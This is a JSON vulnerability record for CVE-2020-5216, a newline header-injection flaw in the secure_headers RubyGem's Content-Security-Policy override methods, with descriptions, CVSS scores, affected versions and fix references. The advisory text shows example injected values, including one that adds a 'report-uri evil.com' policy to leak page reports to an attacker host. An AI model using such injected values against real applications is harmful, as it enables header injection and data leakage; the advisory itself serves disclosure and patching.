{"id":"CVE-2020-5216","aliases":["CVE-2020-5216","GHSA-w978-rmpf-qmwg"],"related":[],"kind":"vulnerability","state":"published","title":"Limited header injection when using dynamic overrides with user input in RubyGems secure_headers","summary":"In Secure Headers (RubyGem secure_headers), a directive injection vulnerability is present in versions before 3.9.0, 5.2.0, and 6.3.0. If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection. Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline. This has been fixed in 6.3.0, 5.2.0, and 3.9.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"In Secure Headers (RubyGem secure_headers), a directive injection vulnerability is present in versions before 3.9.0, 5.2.0, and 6.3.0. If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection. Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline. This has been fixed in 6.3.0, 5.2.0, and 3.9.0.","source":"cvelist"},{"lang":"en","text":"### Impact\n\nIf user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.\n\nUpon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.\n\ne.g.\n\n```ruby\noverride_content_security_directives(script_src: ['mycdn.com', \"\\ninjected\\n\"])` \n```\n\nwould result in \n\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: injected\nContent-Security-Policy: rest-of-the-header\n```\n\nCSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:\n\n```ruby\noverride_content_security_directives(script_src: [\"mycdn.com\", \"\\ndefault-src 'none'; report-uri evil.com\"]) \n```\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: default-src 'none'; report-uri evil.com\nContent-Security-Policy: rest-of-the-header\n```\n\n### Patches\n\nThis has been fixed in 6.3.0, 5.2.0, and 3.9.0\n\n### Workarounds\n\n```ruby\noverride_content_security_policy_directives(:frame_src, [user_input.gsub(\"\\n\", \" \")])\n```\n\n### References\n\nhttps://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c\n[The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [this repo](https://github.com/twitter/secure_headers/security/advisories/new)\n* DM us at @ndm on twitter","format":"markdown","source":"ghsa"},{"lang":"es","text":"En Secure Headers (secure_headers de RubyGem), una vulnerabilidad de inyección de directiva está presente en las versiones anteriores a 3.9.0, 5.2.0 y 6.3.0. Si la entrada suministrada por el usuario fue pasada a append/override_content_security_policy_directives, una línea nueva podría ser inyectada conllevando a una inyección de encabezado limitada. Al visualizar una nueva línea en el encabezado, rails creará silenciosamente un nuevo encabezado Content-Security-Policy con el valor restante de la cadena original. Continuará creando nuevos encabezados para cada nueva línea. Esto ha sido corregido en las versiones 6.3.0, 5.2.0 y 3.9.0.","source":"nvd"}],"published":"2020-01-23T02:27:53.000Z","modified":"2026-07-08T05:59:41.636Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N","score":4.4,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N","score":4.4,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N","score":4.4,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N","score":5.8,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:2.0","vector":"AV:N/AC:L/Au:N/C:N/I:P/A:N","score":5,"rating":"MEDIUM"}],"cwes":["CWE-74","CWE-113"],"affected":[{"ranges":[{"version":"< 3.9.0","status":"affected"},{"version":">= 5.0.0, < 5.2.0","status":"affected"},{"version":">= 6.0.0, < 6.3.0","status":"affected"}],"vendor":"Twitter","product":"secure_headers","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"6.0.0","status":"affected","fixed":"6.3.0"}],"ecosystem":"RubyGems","package":"secure_headers","purl":"pkg:gem/secure_headers","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"5.0.0","status":"affected","fixed":"5.2.0"}],"ecosystem":"RubyGems","package":"secure_headers","purl":"pkg:gem/secure_headers","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"3.9.0"}],"ecosystem":"RubyGems","package":"secure_headers","purl":"pkg:gem/secure_headers","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"3.9.0"},{"status":"affected","introduced":"5.0.0","fixed":"5.2.0"},{"status":"affected","introduced":"6.0.0","fixed":"6.3.0"}],"vendor":"twitter","product":"secure_headers","cpe":"cpe:2.3:a:twitter:secure_headers:*:*:*:*:*:ruby:*:*","source":"nvd"}],"references":[{"url":"https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg","tags":["exploit","mitigation","third-party-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0","tags":["patch","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-5216","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5216.yml","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/twitter/secure_headers","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2020-5216","url":"https://www.cve.org/CVERecord?id=CVE-2020-5216","licence":"CVE Terms of Use","modified":"2024-08-04T08:22:08.681Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-w978-rmpf-qmwg","url":"https://github.com/advisories/GHSA-w978-rmpf-qmwg","licence":"CC-BY-4.0","modified":"2026-07-08T05:59:41.636Z"},{"source":"nvd","name":"NVD","id":"CVE-2020-5216","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-5216","licence":"Public domain","modified":"2026-06-17T03:21:02.577Z"}],"updatedAt":"2026-11-25T22:57:50.660Z","epss":{"score":0.01209,"percentile":0.69238,"date":"2026-12-01T12:00:22.000Z"}}